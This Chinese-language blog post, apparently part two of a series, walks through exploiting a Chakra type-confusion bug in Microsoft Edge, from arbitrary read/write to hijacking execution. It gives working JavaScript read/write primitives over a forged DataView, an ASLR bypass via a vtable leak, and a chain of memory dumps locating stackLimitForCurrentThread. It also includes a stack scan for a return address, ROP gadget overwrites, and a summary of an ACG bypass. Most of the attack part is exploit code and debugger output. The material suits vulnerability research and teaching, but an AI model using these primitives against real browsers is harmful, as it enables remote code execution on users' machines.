本篇原创文章参加双倍稿费活动,预估稿费为800元,活动链接请点此处
传送门:Edge Type Confusion利用:从type confused到内存读写
在上一部分中我们通过在NativeIntArray的Segment数据区中伪造DataView对象获得了内存读写的能力,在这部分目标是进一步由内存读写到控制程序执行流。
准备工作
在Edge中地址等数据都是64位的,但是在目前的Javascript中不支持Int64类型,这样就没有办法直接通过DataView读出64位或者对64位整数进行运算,这里需要我们自己做一些工作来方便数据操作
Because JavaScript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the Int64 and UInt64 objects to let you work with C functions and data that need (or may need) values represented using a 64-bit data type.
You use the Int64 object to create and manipulate 64-bit signed integers.
通过自己定义一个Int64类型,使用low、high两部分int32储存int64
function Int64(low,high)
{
this.low = low;
this.high = high;
}
为了方便读写,编写了r64、w64这些函数,可以直接拿来操作数据。
function r64(addr)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return new Int64(obj.getUint32.call(arr[0],0,true),
obj.getUint32.call(arr[0],4,true));
}
function r32(addr)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return obj.getUint32.call(arr[0],0,true);
}
function w64(addr,value)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return new Int64(obj.setUint32.call(arr[0],0,value.low,true),
obj.setUint32.call(arr[0],4,value.high,true));
}
bypass ASLR
ASLR使得进程模块的地址不固定,但是由于这里我们已经具有了通过DataView读写内存的能力,所以可以直接选择泄漏对象虚表获取模块基址。
调试发现在fake DataView上方存在一个NativeIntArray对象(其实就是为了伪造DataView创建的那个),偏移是0x58
var vtable_addr=new Int64(DataView_basel-0x58,DataView_baseh);
var vtable_value=r64(vtable_addr);
print(vtable_value.low.toString(16));
print(vtable_value.high.toString(16));
通过DataView读出NativeIntArray vtable地址是0x7ff82a42c7d0,offset是0x18051C7D0,
得到Charka.dll的基址为0x7ff6a9f10000。
bypass DEP
因为存在DEP保护,内存不具有可执行权限。在老版本的浏览器中可以考虑通过劫持对象的虚表进行利用,但是在edge中存在cfg保护,cfg保护了程序中的间接调用,对于cfg来说似乎没有什么太好的公开可用的绕过方法。所以另一个比较简单的利用思路是通过栈,通过控制栈的返回地址来进行rop。
寻找栈地址
想通过栈进行利用,首先要找到栈的返回地址。目前的漏洞操作其实都是位于edge的custom heap上的,要想通过栈进行利用需要通过堆上的数据结构获取栈的地址。
由于已经具有任意地址读写的能力,我们需要找到一个恰当的数据结构来获取这个地址。
实际的获取过程可以说比较曲折,中心思想是在threadContext对象中保存着域stackLimitForCurrentThread,这个域保存着本线程线程栈的上界,可以利用这个值通过计算和搜索得出返回值的栈地址。
获取这个值的过程比较复杂,首先可以从任意Dynamic Object中获取Type Object的地址。这个Type Object的类型是无所谓的,因为目标是其中的JavascriptLibrary指针。
在Chakra中除了立即数等基本上所有的对象都是Dynamic对象,也继承自DynamicObject类,所有的Dynamic Object都有Type Object来表示类型和保存一些信息。
在这里上一篇文章中伪造DataView时用到的JavascriptNativeIntArray自然也属于DynamicObject,我们使用这个DynamicObject中的TypeObject来完成操作。
0x000001B1354C80A0 00007ff826c8c7d0 ???&?... <=nativeArray
0x000001B1354C80A8 000001b135484f80 €OH5?... <=type object
0x000001B1354C80B0 0000000000000000 ........
0x000001B1354C80B8 0000000000000005 ........
0x000001B1354C80C0 0000000000000010 ........
0x000001B1354C80C8 000001b1354c80e0 ?€L5?...
0x000001B1354C80D0 000001b1354c80e0 ?€L5?...
0x000001B1354C80D8 000001a9352189c0 ??!5?...
0x000001B1354C80E0 0000001000000000 ........
0x000001B1354C80E8 0000000000000012 ........
0x000001B1354C80F0 0000000000000000 ........
0x000001B1354C80F8 00000000000004d2 ?.......
0x000001B1354C8100 000001b1354c8108 .?L5?...
0x000001B1354C8108 0000000000000038 8.......
0x000001B1354C8110 000001b1354c7cc8 ?|L5?...
0x000001B1354C8118 0000000000000200 ........
0x000001B1354C8120 000001b1354c80b8 ?€L5?...
0x000001B1354C8128 0000000000000000 ........
0x000001B1354C8130 000001b1354c80a0 ?€L5?...
let type_addr=new Int64(DataView_basel-0x50,DataView_baseh);
let type_value=r64(type_addr);
print('TypeObject address');
print(type_value.high.toString(16));
print(type_value.low.toString(16));
这里成功获得了Type Object的地址0x233e89f4f80
接下来看Type Object的内存(不同次调试结果,地址不同),Type Object偏移0x8的地方是javascriptLibrary的指针
0x000001B135484F80 000000000000001d ........ <= Type Object
0x000001B135484F88 000001b135498000 .€I5?... <= javascriptLibrary
0x000001B135484F90 000001b1354b0000 ..K5?...
我们需要获取javascriptLibrary对象的地址
let jslib_addr=new Int64(type_value.low+0x8,type_value.high);
let jslib_value=r64(jslib_addr);
print('javascriptLibrary address');
print(jslib_value.high.toString(16));
print(jslib_value.low.toString(16));
得到javascriptLibrary对象的地址是0x21f5bd08000(不同次调试结果,地址不同)
然而事情还没完,获得JavascriptLibrary的地址是为了得到其中的scriptcontext指针。JavascriptLibrary这个结构比较大,scriptcontext位于偏移0x430的位置
javascriptLibrary
0x000001B135498000 00007ff826cc3768 h7?&?...
0x000001B135498008 000001b135490000 ..I5?...
0x000001B135498010 000001b1354c0c00 ..L5?...
0x000001B135498018 000001b1354c0c80 €.L5?...
0x000001B135498020 000001b1354c0d00 ..L5?...
0x000001B135498028 000001b1354c0d80 €.L5?...
0x000001B135498030 000001b135487fc0 ?.H5?...
0x000001B135498038 000001b1354c0600 ..L5?...
0x000001B135498040 000001b1354c0680 €.L5?...
0x000001B135498048 000001b1354c0700 ..L5?...
0x000001B135498050 000001b1354c0780 €.L5?...
0x000001B135498058 000001b1354c0800 ..L5?...
0x000001B135498060 000001b1354c0880 €.L5?...
0x000001B135498068 000001b1354c0900 ..L5?...
0x000001B135498070 000001b1354c0980 €.L5?...
0x000001B135498078 000001b1354c0a00 ..L5?...
0x000001B135498080 000001b1354c0a80 €.L5?...
0x000001B135498088 000001b1354c0500 ..L5?...
0x000001B135498090 000001b1354c0580 €.L5?...
0x000001B135498098 000001b1354c0040 @.L5?...
0x000001B1354980A0 000001b1354c0280 €.L5?...
0x000001B1354980A8 000001b1354c0300 ..L5?...
0x000001B1354980B0 000001b1354c03c0 ?.L5?...
0x000001B1354980B8 000001b135487f40 @.H5?...
0x000001B1354980C0 000001b1354c00c0 ?.L5?...
0x000001B1354980C8 000001b1354b00d0 ?.K5?...
0x000001B1354980D0 000001b1354c0440 @.L5?...
0x000001B1354980D8 0000000000000000 ........
0x000001B1354980E0 000001b1354c0e80 €.L5?...
0x000001B1354980E8 000001b1354c0f00 ..L5?...
0x000001B1354980F0 000001b1354c0f80 €.L5?...
0x000001B1354980F8 000001b1354c1000 ..L5?...
0x000001B135498100 000001b1354c1080 €.L5?...
0x000001B135498108 000001b1354c1100 ..L5?...
0x000001B135498110 000001b1354c1180 €.L5?...
0x000001B135498118 000001b1354c0140 @.L5?...
0x000001B135498120 000001b1354c0200 ..L5?...
0x000001B135498128 000001b1354c0e00 ..L5?...
0x000001B135498130 0000000000000000 ........
0x000001B135498138 000001b135486f40 @oH5?...
0x000001B135498140 000001b135486fc0 ?oH5?...
0x000001B135498148 000001b1354870c0 ?pH5?...
0x000001B135498150 000001b1354871c0 ?qH5?...
0x000001B135498158 000001b1354872c0 ?rH5?...
0x000001B135498160 000001b1354873c0 ?sH5?...
0x000001B135498168 0000000000000000 ........
0x000001B135498170 0000000000000000 ........
0x000001B135498178 0000000000000000 ........
0x000001B135498180 000001b1354874c0 ?tH5?...
0x000001B135498188 000001b1354875c0 ?uH5?...
0x000001B135498190 0000000000000000 ........
0x000001B135498198 000001b1354acae0 ??J5?...
0x000001B1354981A0 0000000000000000 ........
0x000001B1354981A8 0000000000000000 ........
0x000001B1354981B0 000001b1354acb00 .?J5?...
0x000001B1354981B8 000001b1354acb20 ?J5?...
0x000001B1354981C0 000001b1354c0b80 €.L5?...
0x000001B1354981C8 000001b1354acac0 ??J5?...
0x000001B1354981D0 000001b1354b0000 ..K5?...
0x000001B1354981D8 000001b1354ac040 @?J5?...
0x000001B1354981E0 000001b1354ac060 `?J5?...
0x000001B1354981E8 000001b1354ac080 €?J5?...
0x000001B1354981F0 000001b1354ac0a0 ??J5?...
0x000001B1354981F8 000001b1354ac0c0 ??J5?...
0x000001B135498200 000001b1354ac0e0 ??J5?...
0x000001B135498208 000001b1354ac100 .?J5?...
0x000001B135498210 000001b1354ac120 ?J5?...
0x000001B135498218 000001b1354ac140 @?J5?...
0x000001B135498220 000001b1354ac160 `?J5?...
0x000001B135498228 000001b1354ac180 €?J5?...
0x000001B135498230 000001b1354ac1a0 ??J5?...
0x000001B135498238 000001b1354ac1c0 ??J5?...
0x000001B135498240 000001b1354ac1e0 ??J5?...
0x000001B135498248 000001b1354ac000 .?J5?...
0x000001B135498250 000001b1354ac020 ?J5?...
0x000001B135498258 0000000000000000 ........
0x000001B135498260 000001b1354741b0 ?AG5?...
0x000001B135498268 000001b1354a8090 ?€J5?...
0x000001B135498270 000001b135474240 @BG5?...
0x000001B135498278 000001b1354741e0 ?AG5?...
0x000001B135498280 000001b135474180 €AG5?...
0x000001B135498288 000001b1354c1200 ..L5?...
0x000001B135498290 000001b135474210 .BG5?...
0x000001B135498298 000001b1354ac220 ?J5?...
0x000001B1354982A0 000001b1354ac240 @?J5?...
0x000001B1354982A8 000001b1354ac260 `?J5?...
0x000001B1354982B0 000001b1354ac280 €?J5?...
0x000001B1354982B8 000001b1354ac200 .?J5?...
0x000001B1354982C0 000001b1354ac2a0 ??J5?...
0x000001B1354982C8 000001b1354ac2c0 ??J5?...
0x000001B1354982D0 000001b1354ac2e0 ??J5?...
0x000001B1354982D8 000001b1354ac300 .?J5?...
0x000001B1354982E0 000001b1354ac320 ?J5?...
0x000001B1354982E8 000001b1354ac340 @?J5?...
0x000001B1354982F0 000001b1354ac360 `?J5?...
0x000001B1354982F8 000001b1354ac380 €?J5?...
0x000001B135498300 000001b1354ac3a0 ??J5?...
0x000001B135498308 0000000000000000 ........
0x000001B135498310 000001b1354846c0 ?FH5?...
0x000001B135498318 000001b135484740 @GH5?...
0x000001B135498320 000001b1354847c0 ?GH5?...
0x000001B135498328 000001b135484840 @HH5?...
0x000001B135498330 000001b1354848c0 ?HH5?...
0x000001B135498338 000001b135484940 @IH5?...
0x000001B135498340 000001b1354849c0 ?IH5?...
0x000001B135498348 0000000000000000 ........
0x000001B135498350 0000000000000000 ........
0x000001B135498358 0000000000000000 ........
0x000001B135498360 0000000000000000 ........
0x000001B135498368 0000000000000000 ........
0x000001B135498370 0000000000000000 ........
0x000001B135498378 0000000000000000 ........
0x000001B135498380 0000000000000000 ........
0x000001B135498388 0000000000000000 ........
0x000001B135498390 0000000000000000 ........
0x000001B135498398 0000000000000000 ........
0x000001B1354983A0 000001b1354ac900 .?J5?...
0x000001B1354983A8 000001b1354ac920 ?J5?...
0x000001B1354983B0 0004000000000000 ........
0x000001B1354983B8 000c000000000000 ........
0x000001B1354983C0 800c000000000000 .......€
0x000001B1354983C8 bff521fb54442d18 .-DT?!??
0x000001B1354983D0 fffc000000000001 ......?.
0x000001B1354983D8 8013ffffffffffff .......€
0x000001B1354983E0 7ffc000000000000 ......?.
0x000001B1354983E8 000001b1354a4020 @J5?...
0x000001B1354983F0 000001b1354a4010 .@J5?...
0x000001B1354983F8 000001b1354ac6e0 ??J5?...
0x000001B135498400 000001b1354ac700 .?J5?...
0x000001B135498408 000001b1354ac720 ?J5?...
0x000001B135498410 000001b1354ac740 @?J5?...
0x000001B135498418 000001b1354ac760 `?J5?...
0x000001B135498420 000001b1354ac780 €?J5?...
0x000001B135498428 000001b1354ac7a0 ??J5?...
0x000001B135498430 000001a93529b6e0 ??)5?... <=scriptcontext +0x430
获得了scriptcontext的地址是0x264e2fb6e0,scriptcontent中保存的threadContent指针是我们最终的目标。scriptcontent这个结构同样比较大,threadContent指针位于0x4f0偏移的位置。
scriptontent
0x000001A93529B6E0 000001b135498000 .€I5?...
0x000001A93529B6E8 000001b135490000 ..I5?...
0x000001A93529B6F0 0000000000000000 ........
0x000001A93529B6F8 0000000000000000 ........
0x000001A93529B700 0000000000000000 ........
0x000001A93529B708 0000000000000000 ........
0x000001A93529B710 0000000000000000 ........
0x000001A93529B718 0000000000000000 ........
0x000001A93529B720 0000000000000000 ........
0x000001A93529B728 0000000000000002 ........
0x000001A93529B730 00007ff826c8c130 0??&?...
0x000001A93529B738 00007ff826c8c7d0 ???&?...
0x000001A93529B740 00007ff826c8ba90 ???&?...
0x000001A93529B748 0000000000000000 ........
0x000001A93529B750 0000000000000000 ........
0x000001A93529B758 0000000000000000 ........
0x000001A93529B760 00007ff826bea020 ??&?...
0x000001A93529B768 00007ff82679a980 €?y&?...
0x000001A93529B770 00007ff826bea5b0 ???&?...
0x000001A93529B778 00007ff826bea600 .??&?...
0x000001A93529B780 0000000000000000 ........
0x000001A93529B788 0000000000000000 ........
0x000001A93529B790 0000000000000000 ........
0x000001A93529B798 0000000000000000 ........
0x000001A93529B7A0 0000000000000000 ........
0x000001A93529B7A8 0000000000000000 ........
0x000001A93529B7B0 0000000000000000 ........
0x000001A93529B7B8 0000000000000000 ........
0x000001A93529B7C0 0000000000000000 ........
0x000001A93529B7C8 0000000000000000 ........
0x000001A93529B7D0 0000000000000000 ........
0x000001A93529B7D8 0000000000000000 ........
0x000001A93529B7E0 0000000000000000 ........
0x000001A93529B7E8 0000000000000000 ........
0x000001A93529B7F0 0000000000000000 ........
0x000001A93529B7F8 0000000000000000 ........
0x000001A93529B800 0000000000000000 ........
0x000001A93529B808 0000000000000000 ........
0x000001A93529B810 0000000000000000 ........
0x000001A93529B818 0000000000000000 ........
0x000001A93529B820 0000000000000000 ........
0x000001A93529B828 0000000000000000 ........
0x000001A93529B830 0000000000000000 ........
0x000001A93529B838 0000000000000000 ........
0x000001A93529B840 0000000000000000 ........
0x000001A93529B848 0000000000000000 ........
0x000001A93529B850 0000000000000000 ........
0x000001A93529B858 0000000000000000 ........
0x000001A93529B860 0000000000000000 ........
0x000001A93529B868 0000000000000000 ........
0x000001A93529B870 0000000000000000 ........
0x000001A93529B878 0000000000000000 ........
0x000001A93529B880 0000000000000000 ........
0x000001A93529B888 0000000000000000 ........
0x000001A93529B890 0000000000000000 ........
0x000001A93529B898 0000000000000000 ........
0x000001A93529B8A0 0000000000000000 ........
0x000001A93529B8A8 0000000000000000 ........
0x000001A93529B8B0 0000000000000000 ........
0x000001A93529B8B8 0000000000000000 ........
0x000001A93529B8C0 0000000000000000 ........
0x000001A93529B8C8 0000000000000000 ........
0x000001A93529B8D0 0000000000000000 ........
0x000001A93529B8D8 0000000000000000 ........
0x000001A93529B8E0 0000000000000000 ........
0x000001A93529B8E8 0000000000000000 ........
0x000001A93529B8F0 0000000000000000 ........
0x000001A93529B8F8 0000000000000000 ........
0x000001A93529B900 0000000000000000 ........
0x000001A93529B908 0000000000000000 ........
0x000001A93529B910 0000000000000000 ........
0x000001A93529B918 0000000000000000 ........
0x000001A93529B920 0000000000000000 ........
0x000001A93529B928 0000000000000000 ........
0x000001A93529B930 0000000000000000 ........
0x000001A93529B938 0000000000000000 ........
0x000001A93529B940 0000000000000000 ........
0x000001A93529B948 0000000000000000 ........
0x000001A93529B950 0000000000000000 ........
0x000001A93529B958 0000000000000000 ........
0x000001A93529B960 0000000000000000 ........
0x000001A93529B968 0000000000000000 ........
0x000001A93529B970 0000000000000000 ........
0x000001A93529B978 0000000000000000 ........
0x000001A93529B980 0000000000000000 ........
0x000001A93529B988 0000000000000000 ........
0x000001A93529B990 0000000000000000 ........
0x000001A93529B998 0000000000000000 ........
0x000001A93529B9A0 0000000000000000 ........
0x000001A93529B9A8 0000000000000000 ........
0x000001A93529B9B0 0000000000000000 ........
0x000001A93529B9B8 0000000000000000 ........
0x000001A93529B9C0 0000000000000000 ........
0x000001A93529B9C8 0000000000000000 ........
0x000001A93529B9D0 0000000000000000 ........
0x000001A93529B9D8 0000000000000000 ........
0x000001A93529B9E0 0000000000000000 ........
0x000001A93529B9E8 0000000000000000 ........
0x000001A93529B9F0 0000000000000000 ........
0x000001A93529B9F8 0000000000000000 ........
0x000001A93529BA00 0000000000000000 ........
0x000001A93529BA08 0000000000000000 ........
0x000001A93529BA10 0000000000000000 ........
0x000001A93529BA18 0000000000000000 ........
0x000001A93529BA20 0000000000000000 ........
0x000001A93529BA28 000001a93524c040 @?$5?...
0x000001A93529BA30 00007ff8267771b0 ?qw&?...
0x000001A93529BA38 00007ff82693a5a0 ???&?...
0x000001A93529BA40 000001a93521c010 .?!5?...
0x000001A93529BA48 0000000000000000 ........
0x000001A93529BA50 0000000000000000 ........
0x000001A93529BA58 000001a9352909a0 ?.)5?...
0x000001A93529BA60 000001a93521d120 ?!5?...
0x000001A93529BA68 0000000000000000 ........
0x000001A93529BA70 000001a93521e000 .?!5?...
0x000001A93529BA78 00000000000007d0 ?.......
0x000001A93529BA80 0000000000000003 ........
0x000001A93529BA88 000001a935210210 ..!5?...
0x000001A93529BA90 00007ff8267771b0 ?qw&?...
0x000001A93529BA98 00007ff82693a5a0 ???&?...
0x000001A93529BAA0 0000000000000000 ........
0x000001A93529BAA8 0000000000000000 ........
0x000001A93529BAB0 0000000000000000 ........
0x000001A93529BAB8 000001a9352909a0 ?.)5?...
0x000001A93529BAC0 0000000000000000 ........
0x000001A93529BAC8 0000000000000000 ........
0x000001A93529BAD0 0000000000000000 ........
0x000001A93529BAD8 0000000000000000 ........
0x000001A93529BAE0 0000000000000000 ........
0x000001A93529BAE8 0000000000000000 ........
0x000001A93529BAF0 00007ff8267771b0 ?qw&?...
0x000001A93529BAF8 00007ff82693a5a0 ???&?...
0x000001A93529BB00 000001a935211010 ..!5?...
0x000001A93529BB08 0000000000000000 ........
0x000001A93529BB10 0000000000000000 ........
0x000001A93529BB18 000001a9352909a0 ?.)5?...
0x000001A93529BB20 000001a935211890 ?.!5?...
0x000001A93529BB28 0000000000000000 ........
0x000001A93529BB30 000001a935212000 . !5?...
0x000001A93529BB38 0000000000000000 ........
0x000001A93529BB40 0000000000000001 ........
0x000001A93529BB48 0000000000000000 ........
0x000001A93529BB50 00007ff8267771b0 ?qw&?...
0x000001A93529BB58 00007ff82693a5a0 ???&?...
0x000001A93529BB60 0000000000000000 ........
0x000001A93529BB68 0000000000000000 ........
0x000001A93529BB70 0000000000000000 ........
0x000001A93529BB78 000001a9352909a0 ?.)5?...
0x000001A93529BB80 0000000000000000 ........
0x000001A93529BB88 0000000000000000 ........
0x000001A93529BB90 0000000000000000 ........
0x000001A93529BB98 0000000000000000 ........
0x000001A93529BBA0 0000000000000000 ........
0x000001A93529BBA8 0000000000000000 ........
0x000001A93529BBB0 0000000000000000 ........
0x000001A93529BBB8 000001b135398320 ?95?...
0x000001A93529BBC0 000001a93529e550 P?)5?...
0x000001A93529BBC8 0000000000000000 ........
0x000001A93529BBD0 000001a9352908a0 ?.)5?... <=threadContext +0x4f0
threadContext的地址是0x264e2f08a0
得到threadContext的地址之后就可以读出stackLimitForCurrentThread的值
0x000001A9352908A0 00007ff826c8b6e0 ???&?... <=threadContext
0x000001A9352908A8 0000000000000000 ........
0x000001A9352908B0 0000000000000000 ........
0x000001A9352908B8 000001a935208220 ? 5?...
0x000001A9352908C0 000001a935209030 0? 5?...
0x000001A9352908C8 0000000000000000 ........
0x000001A9352908D0 0000000000000000 ........
0x000001A9352908D8 0000000000000000 ........
0x000001A9352908E0 0000000000000000 ........
0x000001A9352908E8 0000000000000000 ........
0x000001A9352908F0 0000000000000000 ........
0x000001A9352908F8 0000000000000000 ........
0x000001A935290900 0000000000000000 ........
0x000001A935290908 000001b135398180 €?95?...
0x000001A935290910 0000000000000000 ........
0x000001A935290918 00007df400000001 ....?}..
0x000001A935290920 0000001024f0c000 .??$.... <=stackLimitForCurrentThread +0x80
let stack_addr=new Int64(tdctx_value.low+0x80,tdctx_value.high);
let stack_value=r64(stack_addr);
print('threadContext address');
print(stack_value.high.toString(16));
print(stack_value.low.toString(16));
stackLimitForCurrentThread的值是0x2ecdc0c000表示栈的上界,通过上界可以确定栈的大致范围之后根据返回地址进行搜索。
简单的回顾一下获取栈地址的过程:JavascriptNativeIntArray->Type Object->JavascriptLibrary->ScriptContent->threadContent->stackLimitForCurrentThread
劫持返回地址
前面我们获得了栈的大概地址,为了获得栈中确切的返回地址需要进行搜索。
首先确定栈的大致搜索范围,因为栈是从高地址向低地址扩展的,用stackLimitForCurrentThread加上0xf0000获得一个大概的搜索起点。
返回地址通过前面泄漏Chakra.dll模块基址已经得知,只要搜索匹配返回地址就可以得到JavascriptString::EntrySlice函数返回时程序的rsp的地址。
let search_start=new Int64(stack_value.low+0xf0000,stack_value.high);
var addr=new Int64(search_start.low,search_start.high);
var ret_value_offset=0x47a472;
var ret_value=new Int64(dll_base.low+ret_value_offset,dll_base.high);
for (var i = 8; i < 0x10000; i += 8)
{
addr=new Int64(search_start.low+i,search_start.high);
let val = r64(addr);
print('==========');
print('read address');
print(addr.high.toString(16));
print(addr.low.toString(16));
print('read value');
print(val.high.toString(16));
print(val.low.toString(16));
print('ret value');
print(ret_value.high.toString(16));
print(ret_value.low.toString(16));
if (equals(ret_value,val))
{
print('find!!!!!!!!!!!!!!!!!');
break;
}
}
获取到rsp的位置之后再进行一些准备工作就可以进行rop了,首先把这段寻找和修改rsp的代码放入String.prototype.slice中,这种做法我认为只是为了调试方便,因为String.prototype.slice的对应函数JavascriptString::EntrySlice
是已知的并且只调用一次,amd64_CallFunction()是每个函数都会进行调用。在构造rop时可以比较方便的对rop chain进行定位,当然不用也是没有任何问题的。
''.slice({valueOf:function(){
//代码
}}
DataView::EntryGetUint32(Js::RecyclableObject * function, Js::CallInfo callInfo, ...)
JavascriptString::EntrySlice(Js::RecyclableObject * function, Js::CallInfo callInfo, ...)
amd64_CallFunction()
进行Rop
传参顺序是rcx、rdx、r8、r9。因为chakra模块代码量比较大,这些gadgets都可以比较容易找到(很多gadgets是指令错位出来的)。
现在我们通过rop来调用目标的函数
w64(addr1,gadgets1);
w64(addr2,gadgets2);
w64(addr3,gadgets3);
按照正常的思路可以通过rop调用VirtualProtectEx获得可写可执行的内存来执行shellcode。但是对于当前版本的edge来说这种方法不再可行,在17年4月的创意者更新里新添加了Arbitrary Code Guard和Code Integrity Guard缓解措施。它会阻止映射可执行内存,因此也就不能通过VirtualProtectEx来执行shellcode。
对于ACG来说,似乎也没有可以公开的比较好的解决办法,比较巧的是几天前project zero刚刚披露了一种bypass方法,这里简单介绍一下。
edge为了实现ACG使用一个独立的进程来处理JIT,这个JIT进程与页面进程是通过文件映射(section object)进行交互的。因为JIT是需要执行的,所以共享section映射出来的内存是具有执行权限的。如果在页面进程映射section之前提前占位这块内存(需要预测这个地址),并在里面写入我们的内容。在section进行映射之后,这块内存就具有了可执行权限,重要的是我们之前写入的内容不会被覆盖。
Ivan Fratric给出了蛮详细的调试过程,感兴趣的同学可以尝试一下
https://bugs.chromium.org/p/project-zero/issues/detail?id=1435